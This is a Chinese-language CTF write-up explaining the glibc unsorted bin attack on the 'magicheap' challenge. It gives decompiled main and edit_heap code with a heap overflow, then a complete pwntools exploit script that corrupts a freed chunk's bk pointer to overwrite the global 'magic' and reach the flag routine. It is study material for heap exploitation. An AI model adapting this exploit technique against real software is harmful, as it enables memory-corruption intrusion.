64位程序,没开PIE #Unsorted Bin Attack
先回顾一下 Unsorted Bin 的基本来源以及基本使用情况。
基本来源
- 当一个较大的 chunk 被分割成两半后,如果剩下的部分大于 MINSIZE,就会被放到 unsorted bin 中。
- 释放一个不属于 fast bin 的 chunk,并且该 chunk 不和 top chunk 紧邻时,该 chunk 会被首先放到 unsorted bin 中。关于 top chunk 的解释,请参考下面的介绍。
- 当进行 malloc_consolidate 时,可能会把合并后的 chunk 放到 unsorted bin 中,如果不是和 top chunk 近邻的话。
- Unsorted Bin 在使用的过程中,采用的遍历顺序是 FIFO,即插入的时候插入到 unsorted bin 的头部,取出的时候从链表尾获取。
- 在程序 malloc 时,如果在 fastbin,small bin 中找不到对应大小的 chunk,就会尝试从 Unsorted Bin 中寻找 chunk。如果取出来的 chunk 大小刚好满足,就会直接返回给用户,否则就会把这些 chunk 分别插入到对应的 bin 中。
unsorted bin 中最后一个chunk的fd bk 均指向unsorted bin本身
将unsorted bin 中最后一个chunk的bk改为target_adr-0x10
在将最后一个chunk拿出来的过程中即可将target_adr处内容改为unsorted bin链表头部地址,为一个很大的数
这看起来似乎并没有什么用处,但是其实还是有点卵用的,比如说
- 我们通过修改循环的次数来使得程序可以执行多次循环。
- 我们可以修改 heap 中的 global_max_fast 来使得更大的 chunk 可以被视为 fast bin,这样我们就可以去执行一些 fast bin attack 了。
程序逻辑
1 int __cdecl __noreturn main(int argc, const char **argv, const char **envp) 2 { 3 char *v3; // rsi 4 const char *v4; // rdi 5 int v5; // eax 6 char buf; // [rsp+0h] [rbp-10h] 7 unsigned __int64 v7; // [rsp+8h] [rbp-8h] 8 9 v7 = __readfsqword(0x28u); 10 setvbuf(stdout, 0LL, 2, 0LL); 11 v3 = 0LL; 12 v4 = (const char *)stdin; 13 setvbuf(stdin, 0LL, 2, 0LL); 14 while ( 1 ) 15 { 16 while ( 1 ) 17 { 18 menu(v4, v3); 19 v3 = &buf; 20 read(0, &buf, 8uLL); 21 v4 = &buf; 22 v5 = atoi(&buf); 23 if ( v5 != 3 ) 24 break; 25 delete_heap(&buf, &buf); 26 } 27 if ( v5 > 3 ) 28 { 29 if ( v5 == 4 ) 30 exit(0); 31 if ( v5 == 4869 ) 32 { 33 if ( (unsigned __int64)magic <= 0x1305 ) 34 { 35 v4 = "So sad !"; 36 puts("So sad !"); 37 } 38 else 39 { 40 v4 = "Congrt !"; 41 puts("Congrt !"); 42 l33t("Congrt !", &buf); 43 } 44 } 45 else 46 { 47 LABEL_17: 48 v4 = "Invalid Choice"; 49 puts("Invalid Choice"); 50 } 51 } 52 else if ( v5 == 1 ) 53 { 54 create_heap(&buf, &buf); 55 } 56 else 57 { 58 if ( v5 != 2 ) 59 goto LABEL_17; 60 edit_heap(&buf, &buf); 61 } 62 } 63 }
编辑堆模块
1 unsigned __int64 edit_heap() 2 { 3 __int64 v0; // ST08_8 4 int v2; // [rsp+4h] [rbp-1Ch] 5 char buf; // [rsp+10h] [rbp-10h] 6 unsigned __int64 v4; // [rsp+18h] [rbp-8h] 7 8 v4 = __readfsqword(0x28u); 9 printf("Index :"); 10 read(0, &buf, 4uLL); 11 v2 = atoi(&buf); 12 if ( v2 < 0 || v2 > 9 ) 13 { 14 puts("Out of bound!"); 15 _exit(0); 16 } 17 if ( heaparray[v2] ) 18 { 19 printf("Size of Heap : ", &buf); //堆溢出 20 read(0, &buf, 8uLL); 21 v0 = atoi(&buf); 22 printf("Content of heap : ", &buf); 23 read_input(heaparray[v2], v0); 24 puts("Done !"); 25 } 26 else 27 { 28 puts("No such heap !"); 29 } 30 return __readfsqword(0x28u) ^ v4; 31 }
同时,我们看到,当我们控制 v3 为 4869,同时控制 magic 大于 4869,就可以得到 flag 了
利用思路
- 释放一个堆块到 unsorted bin 中。
- 利用堆溢出漏洞修改 unsorted bin 中对应堆块的 bk 指针为 &magic-16。
- 触发漏洞即可。
expolit
1 from pwn import * 2 3 r = process('./magicheap') 4 5 6 def create_heap(size, content): 7 r.recvuntil(":") 8 r.sendline("1") 9 r.recvuntil(":") 10 r.sendline(str(size)) 11 r.recvuntil(":") 12 r.sendline(content) 13 14 15 def edit_heap(idx, size, content): 16 r.recvuntil(":") 17 r.sendline("2") 18 r.recvuntil(":") 19 r.sendline(str(idx)) 20 r.recvuntil(":") 21 r.sendline(str(size)) 22 r.recvuntil(":") 23 r.sendline(content) 24 25 26 def del_heap(idx): 27 r.recvuntil(":") 28 r.sendline("3") 29 r.recvuntil(":") 30 r.sendline(str(idx)) 31 32 33 create_heap(0x20, "dada") # 0 34 create_heap(0x80, "dada") # 1 35 # in order not to merge into top chunk 36 create_heap(0x20, "dada") # 2 37 38 del_heap(1) 39 40 magic = 0x6020c0 41 fd = 0 42 bk = magic - 0x10 43 44 edit_heap(0, 0x20 + 0x20, "a" * 0x20 + p64(0) + p64(0x91) + p64(fd) + p64(bk)) 45 create_heap(0x80, "dada") #trigger unsorted bin attack 46 r.recvuntil(":") 47 r.sendline("4869") 48 r.interactive()